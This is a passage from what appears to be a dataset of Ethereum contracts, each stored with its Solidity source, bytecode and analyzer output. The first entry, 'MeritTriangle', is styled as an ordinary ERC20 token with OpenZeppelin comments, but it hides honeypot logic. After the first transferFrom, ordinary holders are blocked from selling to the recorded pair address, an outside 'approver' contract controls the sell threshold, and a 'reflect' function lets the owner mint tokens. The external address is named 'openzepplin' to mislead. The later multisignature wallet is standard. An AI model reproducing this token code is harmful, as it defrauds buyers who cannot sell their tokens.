function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MeritTriangle is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100e15760003560e01c8063395093511161007f57806395d89b411161005957806395d89b4114610246578063a457c2d71461025b578063a9059cbb1461027b578063dd62ed3e1461029b576100e8565b806339509351146101d05780633ebcda62146101f057806370a0823114610210576100e8565b8063141a8dd8116100bb578063141a8dd81461011557806318160ddd1461016157806323b872dd14610184578063313ce567146101a4576100e8565b806306fdde03146100ea5780630930907b14610115578063095ea7b314610131576100e8565b366100e857005b005b3480156100f657600080fd5b506100ff6102e1565b60405161010c9190610c1c565b60405180910390f35b34801561012157600080fd5b506040516000815260200161010c565b34801561013d57600080fd5b5061015161014c366004610bf1565b61036f565b604051901515815260200161010c565b34801561016d57600080fd5b506101766103f6565b60405190815260200161010c565b34801561019057600080fd5b5061015161019f366004610bb1565b610433565b3480156101b057600080fd5b506004546101be9060ff1681565b60405160ff909116815260200161010c565b3480156101dc57600080fd5b506101516101eb366004610bf1565b61058d565b3480156101fc57600080fd5b506100e861020b366004610bf1565b6105d1565b34801561021c57600080fd5b5061017661022b366004610b41565b6001600160a01b031660009081526009602052604090205490565b34801561025257600080fd5b506100ff6106a9565b34801561026757600080fd5b50610151610276366004610bf1565b6106b6565b34801561028757600080fd5b50610151610296366004610bf1565b6106ec565b3480156102a757600080fd5b506101766102b6366004610b79565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102ee90610cbd565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610cbd565b80156103675780601f1061033c57610100808354040283529160200191610367565b820191906000526020600020905b81548152906001019060200180831161034a57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b038781168552925282208490556002549192911614156103ab576103ab826107d7565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042e91610882565b905090565b60006001600160a01b0384161580159061045b575060045461010090046001600160a01b0316155b156104855760048054610100600160a81b0319166101006001600160a01b0386160217905561048f565b61048f84846108a2565b6001600160a01b0384166000908152600960205260409020546104b29083610882565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104e99083610882565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546105279083610980565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061057b9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105c89185906105c39086610980565b61099b565b50600192915050565b6000546001600160a01b031633146105e857600080fd5b6001600160a01b03821661064f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6106598282610abf565b6001600160a01b03821660009081526009602052604090205461067c9082610882565b6001600160a01b0383166000908152600960205260409020556005546106a29082610882565b6005555050565b600180546102ee90610cbd565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105c89185906105c39086610882565b6004546000906001600160a01b038481166101009092041614156107405760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610646565b3360009081526009602052604090205461075a9083610882565b33600090815260096020526040808220929092556001600160a01b038516815220546107869083610980565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103e49086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190610b5d565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561089157600080fd5b61089b8284610ca6565b9392505050565b6004546001600160a01b03828116610100909204161415806108ee57506007546001600160a01b0383811691161480156108ee57506004546001600160a01b0382811661010090920416145b8061093057506004546001600160a01b038281166101009092041614801561093057506006546001600160a01b03831660009081526009602052604090205411155b61097c5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610646565b5050565b600061098c8284610c6f565b9050828110156103f057600080fd5b6001600160a01b0383166109fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610646565b6001600160a01b038216610a5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610646565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610af1610ae8826002610c87565b60055490610980565b600555610b21610b02826002610c87565b6001600160a01b03841660009081526009602052604090205490610980565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b52578081fd5b813561089b81610d0e565b600060208284031215610b6e578081fd5b815161089b81610d0e565b60008060408385031215610b8b578081fd5b8235610b9681610d0e565b91506020830135610ba681610d0e565b809150509250929050565b600080600060608486031215610bc5578081fd5b8335610bd081610d0e565b92506020840135610be081610d0e565b929592945050506040919091013590565b60008060408385031215610c03578182fd5b8235610c0e81610d0e565b946020939093013593505050565b6000602080835283518082850152825b81811015610c4857858101830151858201604001528201610c2c565b81811115610c595783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c8257610c82610cf8565b500190565b6000816000190483118215151615610ca157610ca1610cf8565b500290565b600082821015610cb857610cb8610cf8565b500390565b600181811c90821680610cd157607f821691505b60208210811415610cf257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d2357600080fd5b5056fea26469706673582212207e8c2a0051fa414ba19c59299c901b880a8eda78c31b03ceaa1c1f766d65734964736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,948 |
0x14f768657135d3daafb45d242157055f1c9143f3 | /**
*Submitted for verification at Etherscan.io on 2021-12-29
*/
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1